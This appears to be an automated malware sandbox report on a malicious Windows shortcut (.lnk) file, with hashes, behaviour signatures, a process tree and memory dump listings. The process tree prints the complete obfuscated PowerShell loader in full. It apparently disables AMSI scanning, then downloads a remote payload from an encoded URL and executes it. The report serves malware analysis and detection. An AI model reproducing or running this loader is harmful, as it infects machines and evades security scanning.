Analysis

  • max time kernel
    140s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-08-2024 19:35

General

  • Target

    b4c1f7bca89ed610ae26479d56d43d76_JaffaCakes118.lnk

  • Size

    3KB

  • MD5

    b4c1f7bca89ed610ae26479d56d43d76

  • SHA1

    a4b927418eb49d2c566d036a762d6eb76ff9c166

  • SHA256

    323c7a857915fa3b161360d792afa19a6e410811ec07d5d7e716ccf1720bd3d8

  • SHA512

    becc704d5d31ed86a600a164a5396d6c21794ad6be50054f4f6f00324f3b29b90ff7a2db14b189b72c203a8401310b04cda456f454a3d44bb7e9a32fa3a87069

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\b4c1f7bca89ed610ae26479d56d43d76_JaffaCakes118.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -WindowStyle 1 $sw='HABRGGGCKJSCLRGIAZGNHDOKMZZHJTRCHOYBOEILVXKBXSUNTQIWFQQLBNNEKSHKHRHKMSGGYUNHQ';function lsbno($as){$kp=[Text.StringBuilder]::New();$hb=3;for($nx=0;$nx -lt $as.Length;$nx+=2){$lg=-join($as.Substring($nx,2)[1,0]);[void]$kp.Append([char]([System.Convert]::ToUInt16($lg,16)+$hb));};return $kp.ToString();};$cc=lsbno '0567071726A6B2A4E5B6E54626A626B617B2E32717C6A6E51766C6B6B2E3A607662517669607';$zy=lsbno 'E5A6076664B6661734E566962616';$yf=lsbno 'B4C6B6D427F5966606920517E5176606';try{[Ref].Assembly.GetType($cc).GetField($zy,$yf).SetValue($Null,$True)}catch{};;$gz='KKUAOIXVHNEAC';sal nt ($gz[5,10,6] -join(''));$rh=lsbno '561717D673C2C25666472717F6E51666B646B2C6F646C236669626F2A24353033323E263D223B2F566B6';$vr=[Net.WebRequest]::Create($rh);$ek=$vr.GetResponse();$vv=$ek.GetResponseStream();$yr=[IO.StreamReader]::New($vv);$ro=$yr.ReadToEnd() -replace '\r*\n','';nt((lsbno $ro));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4476

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ccqayvfe.3zl.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4476-2-0x00007FF9A94A3000-0x00007FF9A94A5000-memory.dmp

    Filesize

    8KB

  • memory/4476-3-0x000002C769E90000-0x000002C769EB2000-memory.dmp

    Filesize

    136KB

  • memory/4476-13-0x00007FF9A94A0000-0x00007FF9A9F61000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-14-0x00007FF9A94A0000-0x00007FF9A9F61000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-15-0x00007FF9A94A0000-0x00007FF9A9F61000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-16-0x00007FF9A94A0000-0x00007FF9A9F61000-memory.dmp

    Filesize

    10.8MB

  • memory/4476-19-0x00007FF9A94A0000-0x00007FF9A9F61000-memory.dmp

    Filesize

    10.8MB